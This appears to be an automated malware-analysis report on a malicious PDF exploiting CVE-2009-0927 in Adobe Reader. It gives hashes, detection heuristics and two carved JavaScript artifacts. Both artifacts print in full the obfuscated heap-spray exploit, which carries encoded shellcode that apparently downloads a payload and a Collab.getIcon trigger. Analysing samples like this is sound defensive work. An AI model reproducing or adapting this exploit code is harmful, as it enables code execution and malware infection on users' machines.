Malicious PDF — malware analysis report

Static analysis result for SHA-256 b766d18fff027a53…

MALICIOUS

PDF

1.5 KB First seen: 2026-05-11
MD5: 9d84a07cd3aaef99a517d301f6cde12d SHA-1: c85f2930c95ba46d69499b5d55b89fc496568581 SHA-256: b766d18fff027a533807e12a97d33b3bd7a737d195b516632007c41e60e55787
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1027 Obfuscated Files or Information

The PDF file contains embedded and obfuscated JavaScript. The heuristics indicate the use of unescape() and general script obfuscation, suggesting the script's purpose is to download and execute a secondary payload. The extracted JavaScript file name is also suspicious. Due to the obfuscation, the exact download URL or execution method could not be determined with high confidence.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    hpbsf=unescape(hpbsf);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111111_000.js pdf-javascript-stream PDF /JS object 111111 at offset 0x160 2196 bytes
SHA-256: 7832028744cf6a1d6dc27675e1cd97592b168b6bc7c65fcc760c6d5c22b697a4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var hpbsf = '%09';
var ctfsx = 'ARG9090ARG9090'.replace(/ARG/g,'%u');
var jtftkm7 = 'Z535XZ5251Z5756Z9c55ZXXe8ZXXXXZ5dXXZed83Z31XdZ64cXZ4XX3Z783XZ8bXcZXc4XZ7X8bZad1cZ4X8bZebX8Z8bX9Z344XZ4X8dZ8b7cZ3c4XZ5756Z5ebeZXXX1ZX1XXZbfeeZX14eZXXXXZefX1Zd6e8ZXXX1Z5fXXZ895eZ81eaZ5ec2ZXXX1Z52XXZ8X68ZXXXXZffXXZ4e95ZXXX1Z89XXZ81eaZ5ec2ZXXX1Z31XXZX1f6Z8ac2Z359cZX263ZXXXXZfb8XZ74XXZ88X6Z321cZeb46Zc6eeZ32X4Z89XXZ81eaZ45c2ZXXX2Z52XXZ95ffZX152ZXXXXZea89Zc281ZX25XZXXXXZ5X52Z95ffZX156ZXXXXZXX6aZXX6aZea89Zc281ZX15eZXXXXZ8952Z81eaZ78c2ZXXX2Z52XXZXX6aZdXffZX56aZea89Zc281ZX15eZXXXXZff52Z5a95ZXXX1Z89XXZ81eaZ5ec2ZXXX1Z52XXZ8X68ZXXXXZffXXZ4e95ZXXX1Z89XXZ81eaZ5ec2ZXXX1Z31XXZX1f6Z8ac2Z359cZX26eZXXXXZfb8XZ74XXZ88X6Z321cZeb46Zc6eeZ32X4Z89XXZ81eaZ45c2ZXXX2Z52XXZ95ffZX152ZXXXXZea89Zc281ZX25XZXXXXZ5X52Z95ffZX156ZXXXXZXX6aZXX6aZea89Zc281ZX15eZXXXXZ8952Z81eaZa6c2ZXXX2Z52XXZXX6aZdXffZX56aZea89Zc281ZX15eZXXXXZff52Z5a95ZXXX1Z9dXXZ5f5dZ5a5eZ5b59Zc358ZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZ6547Z5474Z6d65Z5X7XZ7461Z4168Z4cXXZ616fZ4c64Z6269Z6172Z7972ZXX41Z6547Z5X74Z6f72Z4163Z6464Z6572Z7373Z57XXZ6e69Z7845Z6365ZbbXXZf289Zf789ZcX3XZ75aeZ29fdZ89f7Z31f9ZbecXZXX3cZXXXXZb5X3ZX21bZXXXXZad66Z85X3ZX21bZXXXXZ7X8bZ8378Z1cc6Zb5X3ZX21bZXXXXZbd8dZX21fZXXXXZX3adZ1b85ZXXX2ZabXXZX3adZ1b85ZXXX2Z5XXXZadabZ85X3ZX21bZXXXXZ5eabZdb31Z56adZ85X3ZX21bZXXXXZc689Zd789Zfc51Za6f3Z7459Z5eX4Zeb43Z5ee9Zd193ZX3eXZ2785ZXXX2Z31XXZ96f6Zad66ZeXc1ZX3X2Z1f85ZXXX2Z89XXZadc6Z85X3ZX21bZXXXXZebc3ZXX1XZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZ89XXZ1b85ZXXX2Z56XXZe857Zff58ZffffZ5e5fZX1abZ8XceZbb3eZX274ZedebZ55c3Z4c52Z4f4dZ2e4eZ4c44ZXX4cZ5255Z444cZ776fZ6c6eZ616fZ5464Z466fZ6c69Z4165Z7XXXZ6664Z7X75Z2e64Z7865ZXX65Z7263Z7361Z2e68Z687XZXX7XZ7468Z7X74Z2F3AZ662FZ7661Z726FZ7469Z6E65Z7765Z2E73Z6E69Z6F66Z372FZ2F7AZ2E6CZ687XZ3F7XZ3D69ZXX36Z9XXX'.replace(/Z/g,'%u').replace(/X/g,'0');
hpbsf=unescape(hpbsf);
ctfsx=unescape(ctfsx);
jtftkm7=unescape(jtftkm7);
while (ctfsx.length * 2 < 0x3fffc8-jtftkm7.length * 2){ctfsx += ctfsx;}
ctfsx = ctfsx.substr(0, (0x3fffc8-jtftkm7.length * 2) / 2);
var bohnizh6 = new Array();
for (var elxpjr = 0; elxpjr < 47; elxpjr ++ ){bohnizh6[elxpjr] = ctfsx + jtftkm7;}
while (hpbsf.length < 0x4000)hpbsf += hpbsf;
hpbsf="N." + hpbsf;
combined_document_js_000.js deobfuscated-js combined document JavaScript streams at offset 0x160 2227 bytes
SHA-256: 0a1bff7832db6666704bc7534ee80c9aadb94642ae168d781411e53eea0214cd
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var hpbsf = '%09';
var ctfsx = 'ARG9090ARG9090'.replace(/ARG/g,'%u');
var jtftkm7 = 'Z535XZ5251Z5756Z9c55ZXXe8ZXXXXZ5dXXZed83Z31XdZ64cXZ4XX3Z783XZ8bXcZXc4XZ7X8bZad1cZ4X8bZebX8Z8bX9Z344XZ4X8dZ8b7cZ3c4XZ5756Z5ebeZXXX1ZX1XXZbfeeZX14eZXXXXZefX1Zd6e8ZXXX1Z5fXXZ895eZ81eaZ5ec2ZXXX1Z52XXZ8X68ZXXXXZffXXZ4e95ZXXX1Z89XXZ81eaZ5ec2ZXXX1Z31XXZX1f6Z8ac2Z359cZX263ZXXXXZfb8XZ74XXZ88X6Z321cZeb46Zc6eeZ32X4Z89XXZ81eaZ45c2ZXXX2Z52XXZ95ffZX152ZXXXXZea89Zc281ZX25XZXXXXZ5X52Z95ffZX156ZXXXXZXX6aZXX6aZea89Zc281ZX15eZXXXXZ8952Z81eaZ78c2ZXXX2Z52XXZXX6aZdXffZX56aZea89Zc281ZX15eZXXXXZff52Z5a95ZXXX1Z89XXZ81eaZ5ec2ZXXX1Z52XXZ8X68ZXXXXZffXXZ4e95ZXXX1Z89XXZ81eaZ5ec2ZXXX1Z31XXZX1f6Z8ac2Z359cZX26eZXXXXZfb8XZ74XXZ88X6Z321cZeb46Zc6eeZ32X4Z89XXZ81eaZ45c2ZXXX2Z52XXZ95ffZX152ZXXXXZea89Zc281ZX25XZXXXXZ5X52Z95ffZX156ZXXXXZXX6aZXX6aZea89Zc281ZX15eZXXXXZ8952Z81eaZa6c2ZXXX2Z52XXZXX6aZdXffZX56aZea89Zc281ZX15eZXXXXZff52Z5a95ZXXX1Z9dXXZ5f5dZ5a5eZ5b59Zc358ZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZ6547Z5474Z6d65Z5X7XZ7461Z4168Z4cXXZ616fZ4c64Z6269Z6172Z7972ZXX41Z6547Z5X74Z6f72Z4163Z6464Z6572Z7373Z57XXZ6e69Z7845Z6365ZbbXXZf289Zf789ZcX3XZ75aeZ29fdZ89f7Z31f9ZbecXZXX3cZXXXXZb5X3ZX21bZXXXXZad66Z85X3ZX21bZXXXXZ7X8bZ8378Z1cc6Zb5X3ZX21bZXXXXZbd8dZX21fZXXXXZX3adZ1b85ZXXX2ZabXXZX3adZ1b85ZXXX2Z5XXXZadabZ85X3ZX21bZXXXXZ5eabZdb31Z56adZ85X3ZX21bZXXXXZc689Zd789Zfc51Za6f3Z7459Z5eX4Zeb43Z5ee9Zd193ZX3eXZ2785ZXXX2Z31XXZ96f6Zad66ZeXc1ZX3X2Z1f85ZXXX2Z89XXZadc6Z85X3ZX21bZXXXXZebc3ZXX1XZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZ89XXZ1b85ZXXX2Z56XXZe857Zff58ZffffZ5e5fZX1abZ8XceZbb3eZX274ZedebZ55c3Z4c52Z4f4dZ2e4eZ4c44ZXX4cZ5255Z444cZ776fZ6c6eZ616fZ5464Z466fZ6c69Z4165Z7XXXZ6664Z7X75Z2e64Z7865ZXX65Z7263Z7361Z2e68Z687XZXX7XZ7468Z7X74Z2F3AZ662FZ7661Z726FZ7469Z6E65Z7765Z2E73Z6E69Z6F66Z372FZ2F7AZ2E6CZ687XZ3F7XZ3D69ZXX36Z9XXX'.replace(/Z/g,'%u').replace(/X/g,'0');
hpbsf=unescape(hpbsf);
ctfsx=unescape(ctfsx);
jtftkm7=unescape(jtftkm7);
while (ctfsx.length * 2 < 0x3fffc8-jtftkm7.length * 2){ctfsx += ctfsx;}
ctfsx = ctfsx.substr(0, (0x3fffc8-jtftkm7.length * 2) / 2);
var bohnizh6 = new Array();
for (var elxpjr = 0; elxpjr < 47; elxpjr ++ ){bohnizh6[elxpjr] = ctfsx + jtftkm7;}
while (hpbsf.length < 0x4000)hpbsf += hpbsf;
hpbsf="N." + hpbsf;
app.doc.Collab.getIcon(hpbsf);

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